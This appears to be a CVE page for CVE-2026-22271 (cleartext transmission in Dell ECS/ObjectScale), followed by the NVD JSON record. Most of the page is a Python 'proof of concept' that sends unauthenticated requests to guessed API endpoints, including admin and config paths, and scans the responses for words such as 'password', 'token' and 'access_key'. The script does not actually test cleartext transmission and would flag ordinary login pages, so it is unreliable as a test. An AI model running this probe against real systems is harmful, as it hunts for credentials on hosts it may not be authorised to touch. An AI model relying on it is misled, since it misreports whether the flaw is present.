CVE-2026-22271

# CVE-2026-22271 PoC - Dell ECS/ObjectScale Cleartext Transmission # This PoC demonstrates the cleartext transmission vulnerability # Use responsibly and only on systems you have permission to test import requests import sys from urllib.parse import urljoin def test_cleartext_transmission(target_url): """ Test for CVE-2026-22271: Cleartext Transmission of Sensitive Information in Dell ECS and ObjectScale """ print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-22271: Dell ECS/ObjectScale Cleartext Transmission") # Common endpoints that might expose sensitive information endpoints = [ "/api/v1/auth/login", "/api/v1/user/profile", "/api/v1/config/system", "/api/v1/storage/buckets", "/api/v1/admin/settings" ] vulnerabilities_found = [] for endpoint in endpoints: url = urljoin(target_url, endpoint) try: # Send request without HTTPS enforcement response = requests.get(url, verify=False, timeout=10) # Check if response contains sensitive data in cleartext sensitive_patterns = [ "password", "secret", "token", "credential", "api_key", "access_key" ] response_text = response.text.lower() for pattern in sensitive_patterns: if pattern in response_text and response.status_code != 301: vulnerabilities_found.append({ "url": url, "pattern": pattern, "status": response.status_code }) print(f"[!] Potential cleartext sensitive data found at {url}") print(f"[!] Matching pattern: {pattern}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {str(e)}") if vulnerabilities_found: print(f"\n[!] Found {len(vulnerabilities_found)} potential vulnerabilities") return vulnerabilities_found else: print("[*] No obvious cleartext transmission vulnerabilities detected") return [] if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-22271-poc.py <target_url>") print("Example: python cve-2026-22271-poc.py http://target-dell-ecs.local") sys.exit(1) target = sys.argv[1] test_cleartext_transmission(target)

{"cve": {"id": "CVE-2026-22271", "sourceIdentifier": "[email protected]", "published": "2026-01-23T09:15:48.030", "lastModified": "2026-02-18T13:55:05.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell ECS, versions 3.8.1.0 through 3.8.1.7, and Dell ObjectScale versions prior to 4.2.0.0, contains a Cleartext Transmission of Sensitive Information vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure."}, {"lang": "es", "value": "Dell ECS, versiones 3.8.1.0 a 3.8.1.7, y Dell ObjectScale versiones anteriores a 4.2.0.0, contiene una vulnerabilidad de Transmisión de Información Sensible en Texto Claro. Un atacante no autenticado con acceso remoto podría potencialmente explotar esta vulnerabilidad, lo que llevaría a la exposición de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:elastic_cloud_storage:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.8.1.0", "versionEndExcluding": "4.2.0.0", "matchCriteriaId": "8FFE0BD5-DC60-46D3-9A26-6E82DBB982EC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dell:objectscale:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.0.0", "matchCriteriaId": "25F884EC-C7A1-4734-8C17-08BFF2046175"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000415880/dsa-2026-047-security-update-for-dell-ecs-and-objectscale-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}